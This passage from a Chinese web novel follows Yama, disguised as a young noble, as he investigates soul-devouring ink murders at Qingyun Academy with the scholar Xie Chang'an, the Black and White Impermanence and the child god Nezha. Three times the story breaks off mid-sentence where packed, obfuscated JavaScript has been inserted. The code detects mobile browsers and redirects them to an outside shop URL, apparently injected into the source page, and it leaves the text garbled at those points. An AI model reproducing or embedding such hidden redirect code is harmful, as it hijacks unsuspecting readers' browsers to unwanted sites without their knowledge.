阎王摩挲着温热的茶杯,感受着那点人间烟火气的暖意,接话道:“按我们神界的常识,文气乃清正平和之力,与噬魂墨这种至阴至邪之物天生相克。若那邪祟能轻易吞噬文气魂魄而不遭反噬,要么它本身修为已接近魔神,要么……”他眼神锐利起来,如同暗夜中的寒星,“它所图谋之事,本身就需要依靠吞噬特定的文气魂魄,来达成的某种邪恶仪轨所需的‘平衡’。” “颜公子高见。”谢长安颔首,目光落在阎王因凝神思考而微蹙的眉宇间,那里面是属于幽冥之主的智慧与洞察,“如此看来,凶徒不仅目标明确,手段狠辣,其所谋恐怕更是骇人。公子身负洞察幽微之能,需万分谨慎。”他话语里的关切真诚而自然。 阎王心里微动,抬眼正对上谢长安的目光。那双眼眸清澈如泉,却仿佛能映照人心,里面有关切,有欣赏,还有一丝……温柔?他有些不自在地垂下眼帘,盯着杯中沉浮的茶叶,语气却带着自己都没察觉的别扭:“本公子自有分寸。倒是你,谢大人,一身文气纯粹沛然,在那些邪物眼里,跟黑暗里的夜明珠没区别,最是招摇。你……别大意。”最后三个字,几乎是从牙缝里挤出来的,带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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接着,白无常献宝似的拿出一卷纸轴展开:“这是小的从几家文房四宝店旁敲侧击弄来的名单,记录了近期特意去询问或购买过属性阴寒古墨的人。”名单上,周员外、李大家、孙博士的名字赫然在列! “另外,”白无常补充道,“地府刚传来的消息,类似案件已确认二十三起,皆在近期,目标都是身负文气或颇具才名的读书人!” 所有的线索,在此刻清晰地交汇。 谢长安与阎王对视一眼,均看到了彼此眼中的凝重。 “张昀死在青云书院,吴老儒生在书院当值,邪气指向书院后山,所有受害者死前都与古墨产生关联……”谢长安缓缓总结,声音低沉,“书生、书院、古墨……” 阎王指尖用力,在木质桌面上叩出清脆的响声,眼神锐利如刀:“我们上次去书院,屁都没闻出来。如今看来,要么那东西藏匿的手段极高明,要么……”他声音冷了下去,“那书院之内,就有能够完美掩盖其邪气的东西,或者……人。” 四人围坐在茶桌旁,窗外暮色渐合。青云书院那一片朗朗读书声之下,隐藏的黑暗似乎正随着噬魂墨的踪迹,一点点浮现出狰狞的轮廓。 11. 书院重探,冤家路窄 青云书院,坐落于京城西郊,依山傍水,朱墙碧瓦,飞檐翘角,远远望去,自有一股清贵书卷气,是无数读书人心向往之的圣地。然而,在知情人眼中,这片萦绕着朗朗书声的清净地,此刻却如同被无形阴霾笼罩,处处透着蹊跷。 谢长安行事,向来谋定而后动。为了不打草惊蛇,他并未以查案之名直接介入,而是以“友人子弟需静心备考,欲借书院清幽之地暂住”为由,向书院山长陈景行递了帖子。谢状元名声清贵,又与陈山长有几分师生之谊,此事自是水到渠成。 于是,阎王主仆三人,便顶着“颜公子及其护卫书童”的名头,颇为憋屈地再次踏入了青云书院的大门。 陈山长年约五旬,面容清癯,眼神温和,一身半旧儒袍浆洗得干干净净,亲自在书院门口相迎,对谢长安极为热情:“长安有心了,你推荐的学子,必定是璞玉可雕。只是书院清苦,只怕委屈了颜公子。”他的目光落在阎王身上,带着长者特有的慈和与一丝不易察觉的审视。 阎王今日依旧是一身玄衣,只是换上了云锦阁的新袍,暗纹在日光下流转,衬得他面容愈发俊美,也愈发显得与这书香之地格格不入。他懒洋洋地拱了拱手,算是回礼,心里却在疯狂吐槽:清苦?比谢府还清苦? 谢长安温文尔雅地回礼:“山长过誉,是晚辈叨扰才是。颜兄性子喜静,不善言辞,还望山长海涵。”他侧身一步,恰到好处地挡住了陈山长过多探究的视线,言辞恳切,令人如沐春风。 就在这时,一道清朗却带着几分孤傲的声音插了进来:“学生林墨言,奉山长之命,前来安置客人。” 众人循声望去,只见一个身着青衿、面容俊秀却眉眼间带着几分郁色的年轻书生走了过来,对着陈山长和谢长安行礼。他便是书院中风头正盛的学子——林墨言。 “墨言来得正好。”陈山长笑着点头,“这几位是谢状元引荐的客人,你带他们去好好安顿,务必周到。” 林墨言应下,目光在阎王脸上停留一瞬,闪过一丝几不可查的诧异,随即恢复平静,做了个“请”的手势:“几位,请随我来。” 去往住处的路上,阎王打量着书院景致,亭台楼阁,小桥流水,倒是雅致,只是他实在提不起什么欣赏的兴致。直到被引入一间陈设简单的客房—— “这、这也能住人?!”阎王指着房内那张看起来就硬邦邦的木板床,凤眼圆睁,语气里充满了难以置信的嫌弃,“这木板是直接从棺材铺批发的吗?躺上去跟直接睡在枉死城地板上有什么区别?!” 白无常赶紧扯他袖子,小声提醒:“公子!慎言!慎言啊!入乡随俗!” 黑无常默默上前,伸手按了按床板,面无表情地汇报实测结果:“硬度,堪比孽镜地狱基岩。” 阎王扶额,感觉自己的腰椎已经在隐隐作痛。 谢长安在一旁看着,眼底漾开温柔笑意,上前一步,温声道:“颜兄暂且忍耐一二,书院规制如此,不好特殊。待晚些时候,我让人送床厚褥子来。”他声音压低,带着安抚的意味,“办案所需,委屈你了。” 阎王瞥了他一眼,哼了一声,没再说话。算是看在“办案”和……这点微弱关心的份上,勉强接受了这个现实。 安顿稍定,四人便在林墨言的引导下,假意参观书院,实则暗中查探。书院内一切如常,学子们或埋头苦读,或三五论辩,似乎张昀之死的阴影并未过多停留。然而,当谢长安状似无意地将话题引向后山风景时,林墨言的脸色微不可查地一变。 “后山乃是书院禁地,多有蛇虫,且地势险峻,为了诸位安全,还是莫要前往为好。”林墨言语气平淡,却带着不容置疑的拒绝。 阎王正因床板之事心情不爽,他上下打量着林墨言,慢悠悠地道:“禁地?是藏了黄金屋,还是颜如玉?瞧林公子这紧张的模样,莫非是在后山埋了什么见不得人的功课?或是……写了什么酸诗怕人瞧见?” 林墨言被他呛得脸色一阵青白,嘴唇动了动,似想反驳,最终却只是硬邦邦地重复:“山长有令,后山不得擅入,还请诸位见谅。”说完,竟像是生怕他们再问,借口温课,匆匆离去。 “啧,心里没鬼跑什么。”阎王对着他的背影翻了个优雅的白眼。 就在几人商议下一步行动时,异变突生! 只听“嗖”的一声破空锐响,一道火红的身影如同炮弹般自天际疾射而来,伴随着清脆又嚣张的少年嗓音,轰然砸落在院中青石板上,激起一圈无形气浪,震得旁边松树簌簌作响: “呔!下面的阎王老儿!小爷我来也!” 尘埃落定,只见一个唇红齿白、扎着两个丸子头、身披混天绫、脚踩风火轮的少年神将,正双手叉腰,对着阎王哈哈大笑,不是三坛海会大神哪吒又是谁? “哈哈哈!笑死小爷了!阎罗王你也有今天!被帝君一脚踹下凡打工?哈哈哈!这简直是我今年听到最好笑的笑话!怎么样,人间的床榻可还柔软?凡人的饭菜可还合口?”哪吒挤眉弄眼,毫不客气地戳着阎王的痛处。 阎王的脸瞬间黑如锅底,额角青筋暴跳:“李、哪、吒!”这三个字简直是从牙缝里碾出来的,“你不在你的云楼宫好好呆着,跑来人界作甚?!也想被帝君踹下来体验生活吗?!” 哪吒撇撇嘴:“还不是我家那老头子!非说什么我性情顽劣,不通世务,要用塔压着我读书明理!小爷我才不干!他就威胁我说再不听话就把我塞回娘胎里重塑!我哪儿理他呀,但是我正好听说你在这儿‘体验民生’,我就自告奋勇来啦,同行交流,共同进步嘛!”说完用手肘捅了捅阎王。 然后他话锋一转,眼神里充满了好奇与跃跃欲试:“倒是您啊,我的阎君大人!这打工还债的日子过得如何?这书院案子……是不是特棘手?需不需要本太子出手相助?别客气,尽管开口!”他拍着胸脯保证,那闪闪发光的眼神和微微晃动的身形,无不写满了“我要参与”、“我要搞事”、“让我加入”! 阎王想都没想,严词拒绝,语气斩钉截铁:“想都别想!绝对不行!上次你来地府‘交流访问’,差点把本君的枉死城给拆成废墟!那些被你用火尖枪追着屁股撵、被风火轮碾得到处跑的鬼魂,到现在还有心理阴影,见到穿红衣服的都打哆嗦!让你加入?本君是嫌这案子不够乱,还是嫌本君这‘打工生涯’不够‘精彩’?!”他指着哪吒新仇旧恨涌上心头:“麻利点,给本公子立刻、马上、圆润地离开这里!” 哪吒被戳到“黑历史”,非但不恼,反而嬉皮笑脸,毫无愧色:“哎呀呀,陈芝麻烂谷子的事儿提它作甚?那时候不是年纪小,不懂事,下手没轻没重嘛!现在我长大了,成熟了,稳重了!保证听话!你看,我这次来的多低调。”说完赶紧把身上的乾坤圈、混天绫、风火轮都收了起来,瞥了一眼自己刚才降落时,石板砖上那一小片焦黑的痕迹,心虚地说:“呵呵,我就带点火尖枪的……呃,一点点火星子防身,可以吧。” 阎王哭笑不得,真想当场把这熊孩子揉成一团丢进忘川河喂鱼。 谢长安却眸光微动,上前一步,对着哪吒拱手一礼,温言道:“三太子驾临,有失远迎。在下谢长安。”他态度不卑不亢,语气温和,瞬间赢得了哪吒几分好感。 “哦?你就是那个新科状元?”哪吒好奇地打量他,“这次转世转的不错哈,长得比天庭那些古板神仙顺眼多了。” 谢长安微微一笑,从容接话:“三太子过奖。如今书院之内,恐有邪祟作乱,危机暗藏。颜公子他……神力受限,安危令人担忧。三太子战力无双,若能留下相助,实乃我等之幸,亦能护得颜公子周全,谢某感激不尽。”他这话说得漂亮,既捧了哪吒,又将“保护阎王”这个理由摆在了明面上,精准地拿捏了哪吒喜好面子又带着点侠义心肠的性子。 果然,哪吒一听,胸脯拍得砰砰响:“没问题!包在小爷身上!不就是保护这个黑脸阎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16800938|190700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王嘛!有我在,什么妖魔鬼怪敢近身!”他得意地瞥了阎王一眼,显然对“武力担当”这个角色十分受用。 阎王在一旁听得直翻白眼,心里把谢长安这只腹黑的狐狸骂了千百遍,谁需要这熊孩子保护?!但形势比人强,多哪吒一个强大战力,探查后山确实更有把握,他只得冷哼一声,算是默许。 “既如此,便有劳三太子暂且委屈,变换个形态,以免惊扰书院师生。”谢长安提议。 哪吒倒也爽快,身形一晃,红光闪过,原地便只剩下一截玲珑剔透、泛着淡淡灵光的九节莲藕。“喏,揣着吧!”莲藕里传出哪吒闷声闷气的声音。 阎王一脸嫌恶地用两根手指拈起那截莲藕,仿佛拿着什么脏东西,不情不愿地塞进了袖袋里。感受到袖中沉甸甸的分量,他没好气地低声骂道:“死沉!” 白日里人多眼杂,又有林墨言的警告,几人按捺住性子,只在外围稍作查探,并未发现明显异常。 傍晚时分,谢长安因不方便再次逗留,先行离去。临行前,他特意嘱咐阎王万事小心,若有异动,即刻联系。那关切的眼神,让阎王心头莫名一跳,胡乱点了点头将他打发走。 是夜,月黑风高,正是夜探的好时机。 阎王、黑白无常,以及从袖袋里蹦出来、恢复人形的哪吒,四人悄无声息地潜至后山入口。 然而,刚到山脚,阎王便猛地停下脚步,凤眸微眯,抬手拦住了众人。 “不对劲。”他低声道,指尖萦绕起一丝极淡的幽冥之力,向前探去。只见虚空之中,仿佛有一层无形的、极淡的琉璃色光罩,将整个后山笼罩在内,光罩上流光闪烁,透出一股坚韧、隔绝的气息。 “结界?”白无常讶然,“白天还没有的!” 黑无常更是眉头紧锁,低声道:“奇怪,上次我来,此后山并无任何结界波动。” 阎王面色凝重:“此结界能量磅礴,蕴含仙灵之气,非寻常妖魔所能布置。而且……设置得极为巧妙,白日隐匿,夜晚显现。” 哪吒凑上前,伸手摸了摸那结界,撇撇嘴:“哟,还是加了料的‘万象隔绝结界’,怪不得白天感觉不到。这玩意儿可不常见,看来这后山藏着的东西,来头不小啊。” 阎王尝试用残余神力冲击,结界只是泛起一圈涟漪,纹丝不动。“强行破开,必会惊动布置者。”他收回手,脸色不太好看。明明线索指向此地,却被一道结界拦在外面,这种感觉着实憋屈。 正当几人思索对策时,哪吒眼神一凛,低喝:“有人!” 四人瞬间隐匿身形,屏息凝神。只见不远处,一个佝偻的身影,提着一盏昏黄的灯笼,鬼鬼祟祟地朝着后山一侧的废弃仓库摸去。借着微弱的灯光,隐约可见那人花白的头发和布满皱纹的脸,看上去像个老儒生。他们虽不认识此人,但这深更半夜、行踪诡秘的举动,立刻引起了所有人的警觉。 只见那老儒生神色慌张,不时回头张望,确认无人后,才用钥匙颤抖着打开仓库门上的铜锁,闪身钻了进去,随即“咔哒”一声,从里面将门关得严严实实。 “跟上去!”阎王当机立断。 四人悄无声息地靠近仓库,试图寻找缝隙窥探,却发现门窗紧闭,只能隐约听到里面传来悉悉索索的翻找声,以及断断续续、模糊不清的自言自语: “在哪儿……到底在哪儿……明明上次就藏在这里的……那、那东西……不能再留了……要害死人的……囡囡……我的囡囡还在等……” 那声音颤抖,充满了恐惧与挣扎。 哪吒竖起耳朵听了半天,无奈地摊手,压低声音吐槽:“这老家伙嘀咕什么呢?含含糊糊的!啧,要是那三只眼在这儿就好了,他隔着门板也能看得一清二楚!” 阎王眼中俱是锐利与了然,虽然看不清具体容貌,但此人应该就是白无常打听到的“吴老儒生”,看来此人与后山的秘密,乃至书院发生的案件,脱不了干系。 12. 知心哥哥与地府八卦 折腾了大半夜,回到青云书院那间堪称“简陋”的客房时,阎王只觉得身心俱疲。后山的结界、鬼鬼祟祟的吴老儒生、还有那不请自来的麻烦精哪吒……一堆线索和麻烦搅和在一起,让他本就所剩无几的耐心几乎消耗殆尽。 他臭着一张脸推开房门,习惯性地准备继续吐槽那堪比孽镜地狱基岩的硬板床,目光却猛地顿住了。 床上,原本光秃秃的硬木板不见了,取而代之的是一层厚实柔软的崭新床褥,铺得整整齐齐,连被套枕套也都换成了触感细腻的棉缎。空气中,还弥漫着一股极淡雅的、若有若无的安神香气,源头是角落里小几上正袅袅升起一缕青烟的紫铜熏香炉。 这……? 阎王愣在门口,凤眼里闪过一丝茫然。他可不认为书院会突然如此体贴,给他们这几个“借住”的客人升级待遇。 就在他疑惑之际,墙角阴影处,一阵微弱的阴风打着旋儿掠过,带着压抑不住的窃窃私语。 【日游神(气音)】:看见没看见没!我就说谢状元对咱们陛下不一般! 【夜游神(小声bb)】:这不废话嘛,瞎子都看出来了!专门派人快马加鞭回城取了最好的褥子和熏香送来,还叮嘱务必在陛下回来前铺好点上……啧啧。 【某路过偷窥鬼差(激动)】:磕到了磕到了!《阎王与状元同居日记》又有新素材了!回头就告诉白爷! 阎王额角青筋一跳,对着那团阴影方向冷冷扫了一眼。 瞬间,阴风停滞,窃语消失,仿佛什么都没发生过。 “哟嗬!”他袖袋里那截九节莲藕不安分地动了动,哪吒闷声闷气却充满戏谑的声音传了出来,“可以啊阎王老儿!这才下凡几天,就有人这么细心周到地照顾起居了?小爷我在天上混了这么多年,都没这待遇!有人心疼就是不一样哈!” 阎王面无表情地把那截聒噪的莲藕从袖袋里掏出来,随手丢在桌上,语气平淡无波:“比不上三太子你,听说你在东海,把你家那颗宝贝龙蛋照顾得无微不至,日夜不离身,连金砖铺的窝都嫌硬,非得用万年暖玉捂着?真是……父爱如山啊。” “噗——咳咳咳!”莲藕剧烈地咳嗽起来,仿佛被自己的口水呛到,红光一闪,哪吒瞬间恢复人形,叉腰站在桌子上,一张俊脸涨得通红,又羞又恼,“你!你胡说什么!谁、谁父爱如山了!那是我……我欠那臭小子的债!被他爹逼着还的!懂不懂?!是债!” 一想到当年一时冲动抽了东海三太子的筋,结果被敖广那老龙王赖上,非要他负责“养护”那颗即将孵化的龙蛋以“弥补因果”,哪吒就憋屈得想拆房子。偏偏那蛋娇气得很,冷不得热不得,还非得沾着他的灵气才能安稳,简直是块烫手山芋! 白无常刚进来就听到这番对话,立刻眼睛一亮,凑上前来给自家陛下帮腔:“哎哟,三太子,您这就谦虚了!三界谁不知道您对那颗龙蛋那是含在嘴里怕化了,捧在手里怕摔了?上次在瑶池宴,您为了不让蛋受颠簸,连风火轮都没踩,一步步走回去的!这份‘责任心’,天地可鉴呐!”他边说边挤眉弄眼,语气里的调侃意味浓得化不开。 哪吒被这对主仆一唱一和堵得哑口无言,气得头顶两个丸子发包都快炸开,指着他们“你”了半天,最后愤愤地一跺脚,化作红光又钻回莲藕里,只留下一句恼羞成怒的闷吼:“……小爷我不跟你们一般见识!睡觉!” 世界总算清净了。 阎王瞥了一眼那截装死的莲藕,嘴角几不可查地勾了一下,随即又恢复那副懒洋洋的样子。他走到床边,伸手按了按那厚实柔软的床褥,又嗅了嗅空气中那让人心神宁静的淡香,心底某处似乎也被这细微的关怀轻轻触动了。哼,算那谢长安还有点良心。 洗漱躺下,本以为在经历了夜探、结界、熊孩子连环冲击后,会难以入眠,却不想在那安神香的包裹下,身下是前所未有的柔软,他竟很快就沉沉睡去,连个梦都没做。 第二日醒来,窗外天光已大亮。阎王难得神清气爽地坐起身,活动了一下筋骨,惊讶地发现那娇贵的腰椎竟没发出半点抗议。他盯着身下的床褥,心情复杂地想:难道本君已经堕落至此,竟觉得这凡间的床铺也……挺舒服的了? 用过早膳,心情尚可的阎王便开始分派任务。 “白无常,你去书院学堂那边转转,化身个知心学长,跟那些学生套套近乎,打听打听最近书院里有没有什么异常或者闲言碎语。” “是,公子!”白无常领命,脸上洋溢着“搞事搞情报我最在行”的光彩。 阎王目光转向一旁沉默站立的黑无常,看出他眼底一丝不易察觉的担忧——白无常法力被封大半,单独在可能藏有危险的书院活动,确实让人不放心。他淡淡道:“黑无常,你暗中跟着他,不必露面,以防万一。” 黑无常紧绷的下颌线微微放松,抱拳沉声道:“属下明白。” 黑白无常领命而去。房间里顿时只剩下阎王和桌上那截还在“自闭”的莲藕。 阎王给自己倒了杯清水,慢悠悠地品着,对着空气开口,语气带着点罕见的闲聊意味:“说起来,你家那颗蛋,孵了也有百八十年了吧?还没动静?别是颗死蛋吧?” 莲藕猛地蹦跶了一下,传出哪吒没好气的声音:“呸呸呸!你才是死蛋!你们全家都是死蛋!龙族孵化期长点怎么了?那叫底蕴深厚!你懂个屁!”他顿了顿,似乎觉得跟阎王讨论这个太掉价,又气哼哼地补了一句,“反正……快了快了!等孵出来,小爷我就解放了!” 阎王不置可否地“哦”了一声“那这次你怎么没有带着那颗蛋啊……” …… 安静,死一般的安静 呵呵,看来这次来体验生活是假,吵架了闹别扭离家出走才是真吧…… 另一边,白无常摇身一变,换了身略显朴素的青衿长衫,收敛起那过于活泛的鬼气,脸上挂着亲切无害、如沐春风的笑容,溜达着走进了书院的教学区域。 此时正是课间休息,学子们三三两两聚在廊下或院中交谈。白无常目标明确,很快锁定了一群看起来比较活泼、正聚在一起低声议论着什么的学生。 他自然地凑了过去,拱了拱手,笑容温煦:“几位同窗有礼了。在下颜白,是新来的借读生,初来乍到,对书院诸多不熟,听闻几位兄台皆是书院翘楚,特来请教。” 他容貌清秀,态度谦和,很容易就博得了这群半大少年的好感。学生们纷纷回礼。 “颜兄客气了,有事但问无妨。” “是啊是啊,颜兄一看就是读书种子!” 白无常顺势加入他们的闲聊,先是问了问书院课程、哪位夫子严厉之类无关痛痒的问题,很快便将话题引向了近期书院的气氛。 “说来惭愧,”白无常故作迟疑,压低声音,“小弟昨日才到,便觉书院似乎……不如想象中那般宁静祥和?隐约感觉有些……压抑?可是小弟错觉?” 这话仿佛打开了某个开关,几个学生互相看了看,脸上都露出了心有戚戚焉的表情。 一个圆脸学生左右看看,小声道:“颜兄你感觉没错!最近书院是有点邪门!” 另一个瘦高个接口:“是啊,自从张院士……唉,之后,总觉得怪怪的。晚上睡觉都不安稳,好像总听到有人叹气,要么就是莫名其妙的翻书声,可起来一看,啥也没有!” “对对!我还以为就我一人听见了呢!” 白无常心中一动,面上却露出惊讶和一丝恰到好处的害怕:“竟有此事?莫非……是张院士魂魄未安?”他适时地表现出一个普通书生该有的敬畏和好奇。 “谁知道呢……”圆脸学生叹了口气,“张院士人挺好的,学问也大,死得不明不白,说不定真是有心愿未了。” 一时间,学生们一阵阴风吹过,连这下午的阳光都不再温暖。 白无常看到这些学生一说到冥界的东西就一副要死了的表情,心情非常不好,觉得该给他们科普一下,挽救一下自己地府的形象了。 “诸位同窗可知,其实那幽冥地府,并非全然是恐怖所在?亦有那风景奇秀之忘川,水光潋滟,彼岸花开如火” 学子们的好奇心与倾诉欲被彻底勾了起来。 “白兄,你……你还懂这些阴阳之事?” 白无常要的就是这个效果。他清了清嗓子,整了整衣冠,开启了他的“地府八卦小课堂”1.0 “地府啊,其实跟咱们人间也差不多,就是个管魂魄的地方,有衙门,有规矩。”他绘声绘色地开始描述,力求接地气,“阎王爷呢,就是最大的官儿,坐镇森罗殿,日理万机,批阅那堆积如山的生死簿。不过嘛……”他故意顿了顿,吊足胃口,“听说最近阎王爷工作压力太大,心情不太好,批公文老是走神,底下当差的鬼吏们也是叫苦连天,生怕被牵连扣绩效……” 学子们听得目瞪口呆,既觉得新奇,又感觉……这地府好像跟想象中阴森 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“再说说判官崔大人,那可是地府头号笔杆子,文书工作一把抓!就是有点文书工作者的通病,见不得错别字。上次有个鬼魂递上来的诉状里写了个错字,被崔大人一眼发现,直接打回去让他重写了整整十八遍!说是要端正态度,严谨治‘魂’!” 他讲得眉飞色舞,手舞足蹈,极大地消解了学子们对幽冥之地的恐惧,反而激起了浓厚的兴趣和八卦之心。气氛逐渐从沉闷压抑变得活跃起来,不时爆发出阵阵压抑的低笑声。 很快,白无常就和这群学子打成了一片,称兄道弟。学子们觉得这个新来的白兄见识广博,为人风趣,又没有架子,于是有对书院各种人和事的观察、甚至一些平时不敢跟严肃夫子们说的隐秘传闻,都开始毫无保留地向他倾吐。 “小白哥,跟你说个怪事儿,”一个胆子稍大的学子神秘地凑近白无常,压低声音,“就那个做杂役的吴老头,最近特别古怪!” 白无常心中一动,面上却不动声色,好奇地问:“哦?吴老头?他怎么个古怪法?我好像没有遇到过他呢。” “哎呀,他很少跟我们这些学子来往,除了干活就喜欢一个人关起门来,鼓捣他那些宝贝!有一次我晚上贪玩回来晚了些,路过他住的那个仓库附近,好像看到里面隐隐约约透出绿油油的光!吓死我了!” “对对对!我也闻到过!”另一个学子连忙附和,“从仓库里飘出来的味道可怪了,像是……像是什么东西烧糊了,又带着点腥气,说不出的难闻!” “还有还有,”又一个学子补充道,“他有时候会莫名其妙地找人搭话,问人家祖上是不是出过什么有名的读书人,或者问人家生辰八字,说什么看看命格清奇不清奇……神神叨叨的!” 夜间绿光!焦糊腥气!打听祖上功名与生辰八字! 白无常心中狂喜,这些线索与噬魂墨的特性、炼制过程以及选择特定命格目标的行为特征高度吻合! 另一个学生似乎想到什么,补充道:“你们不觉得林墨言师兄最近也变得怪怪的。” “林师兄?”白无常适时追问,“可是那位才学出众的林墨言师兄?他怎么了?” 那学生撇撇嘴:“就是他。以前他虽然傲气,但文章诗词那是真风流,最近吧……文章是写得越发犀利尖锐了,但总觉得少了点以前的灵气,透着一股……说不出的冷硬劲儿。而且前阵子,他还因为一个学术观点,跟张院士在藏书楼争执过呢,声音挺大的,我们都听见了。” “还有这事?”白无常暗暗记下。 正当白无常想进一步问清楚之际—— “啊——!!!” 一声凄厉惊恐的尖叫,猛地从不远处的学生宿舍方向炸开,打破了书院午后的宁静! 13. 迷雾初现,风云再起 一阵尖叫打破了晌午的安宁。 所有学生都被吓了一跳,白无常脸色微变,与隐在暗处的黑无常交换了一个眼神,立刻随着慌乱的人群朝声音来源处跑去。 出事的是离他们所在院落比较远的一间宿舍。门口已经围了不少闻声赶来的学生和夫子,个个面色惊惶。白无常和黑无常凭借“非人”的敏捷,轻易挤到了前面。 只见宿舍内,一名年轻学生蜷缩在地上,双手死死掐着自己的脖子,脸色青紫,眼球凸出,浑身剧烈地抽搐着,喉咙里发出“嗬嗬”的、不似人声的痛苦嘶鸣。他的室友吓得瘫软在旁边,面无人色。 “快!快去请校医!快去叫山长!”有夫子反应过来,连声催促。 现场一片混乱。旁人只看到这学生突发恶疾,痛苦不堪,但在黑白无常眼中,看到的却是另一番骇人景象—— 一道浓稠如墨、散发着阴寒邪气的黑影,正如同有生命的毒蛇般,死死缠绕在那学生的魂魄上,正以一种粗暴蛮横的力量,要将那生魂从他的□□中硬生生剥离出来!魂魄与肉身联系的纽带被强行拉扯、扭曲,带来的痛苦远超世间任何酷刑,难怪那学生表现出如此惨状。 校医匆匆赶来,把脉、翻看眼皮,却束手无策,急得满头大汗:“这、这脉象紊乱,气息逆行,像是中了极厉害的邪毒!可、可看不出是何毒啊!” 黑无常面沉如水,锐利的目光如同最精准的探测器,迅速扫过整个房间,最终定格在书桌下方角落——那里,静静躺着一枚不起眼的黑色墨锭。那墨锭看似寻常,但在黑无常的感知中,它正是那邪气黑影的源头! 趁着众人注意力都集中在发病学生和焦急的校医身上,黑无常身形如鬼魅般悄无声息地贴近桌角,宽大的袖袍一拂,那枚危险的墨锭便已落入他袖中暗袋。 就在墨锭被收走的瞬间,那缠绕在学生魂魄上的黑影如同被切断了力量来源,发出一声无声的尖啸,骤然消散。地上抽搐的学生猛地停止了挣扎,青紫色的脸色缓缓退去,凸出的眼球也慢慢恢复正常,只是人彻底虚脱,陷入了昏迷。 “好了?突然就好了?” “真是怪事……” 众人惊疑不定,议论纷纷。 校医也是莫名其妙,但见学生呼吸平稳下来,只好归结为“急症来得快去的也快”,连忙让人将他抬到榻上休息。 就在这时,一个冰冷的声音响起,带着不容置疑的质问: “你!刚才在地上拿了什么?” 众人循声望去,只见林墨言不知何时也来到了现场,正站在门口,目光锐利如刀,直直钉在黑无常身上。 气氛瞬间凝滞。 黑无常面无表情,甚至连眼神都未曾波动一下。 白无常心里“咯噔”一下,立刻堆起笑容,上前一步,挡在黑无常身前,对着林墨言拱手道:“林师兄怕是看错了吧?我这兄弟方才也是情急,想帮忙扶人,并未捡拾何物啊。”他笑容可掬,语气诚恳。 林墨言却不吃这套,冷笑一声:“我看得清清楚楚!他袖袍拂过地面,分明藏了东西!莫非是做贼心虚,拿了不该拿的?” “林师兄此言差矣!”白无常笑容不变,语气却带上了几分委屈,“我这兄弟性子耿直,不善言辞,但绝非行窃之人。师兄若无真凭实据,这般凭空污人清白,恐怕不妥吧?再者,方才情况混乱,师兄或许心急看花了眼?” “你!”林墨言被他一番连消带打,气得脸色发白,“我亲眼所见,岂会有假!定是你们这些来历不明之人,心怀叵测!” 眼看两人争执升级,周围的学生和夫子们面面相觑,不知该信谁。 “何事喧哗?”一个温和却自带威严的声音传来。陈景行山长匆匆赶到,他先是关切地看了一眼榻上昏迷的学生,询问校医情况,得知已无大碍才松了口气,随即看向对峙的双方。 林墨言立刻上前,指着黑无常对陈山长道:“山长!学生亲眼看见此人趁乱从地上藏匿了一物入袖,形迹可疑!学生怀疑他与方才王师弟的急症有关!” 陈景行目光转向黑无常,带着审视,但语气依旧平和:“这位护卫,墨言所言,可是属实?” 黑无常依旧沉默,仿佛事不关己。 白无常心里骂了一句林墨言多事,面上却露出无奈又坦荡的神色,对陈景行道:“山长明鉴,我这兄弟真的什么都没拿。若山长不信……”他像是下了很大决心似的,转向黑无常,歉然道,“老黑,对不住,为了证明清白,只能搜一下身了。” 说着,他也不等黑无常反应,便上手在黑无常身上摸索起来。动作看似随意,实则精准地拂过所有可能藏物的部位。袖袋、衣襟、腰间……他一边摸,一边嘴里还念叨:“你看,什么都没有吧?就是些日常用的火折子、一点散碎银两……咦?这、这不是我前天丢的那块汗巾吗?老黑!你居然偷藏我的东西!” 他最后从黑无常一个不起眼的暗袋里抽出一条洗得发白的旧汗巾,一脸“震惊”和“控诉”地看着黑无常。 黑无常:“……”(耳根微不可查地红了一下) 众人:“……”气氛瞬间从紧张疑案变成了……呃,奇怪的兄弟阋墙? 白无常把黑无常的袖子内外都抖了抖,除了那点“私藏”的“赃物”,确实空无一物。他摊摊手,对陈景行和林墨言无奈道:“山长,林师兄,你看,真的什么都没有。想必真是林师兄关心则乱,看错了。” 陈景行看了看一脸“正直”的白无常,又看了看从头到尾连眼神都没变过、仿佛被搜身的不是自己的黑无常,再瞥了一眼脸色铁青、却又无法再说什么的林墨言,沉吟片刻,脸上露出歉然的笑容:“原来是一场误会。是在下管教不严,让墨言冒犯了二位,还望海涵。墨言,还不向这位护卫道歉?” 林墨言咬着牙,显然极不情愿,但在陈景行温和却不容置疑的目光下,只得从牙缝里挤出三个字:“……对不住。” 黑无常连眼皮都没抬一下。 陈景行又安抚了众人几句,安排人好好照顾那名昏迷的学生,便带着兀自愤懑的林墨言离开了。 人群渐渐散去。 白无常长舒一口气,拍了拍胸口,凑到黑无常身边,挤眉弄眼地小声道:“老黑,可以啊,还偷偷藏我汗巾?说,是不是对我……” 他话没说完,黑无常已经面无表情地转身,朝客院方向走去,只是那步伐,似乎比平时略快了一丝。 白无常看着他的背影,嘿嘿一笑,赶紧追了上去。他袖子里,那枚刚刚被黑无常暗中转移到他手上的墨锭,正散发着冰冷的、不祥的气息。 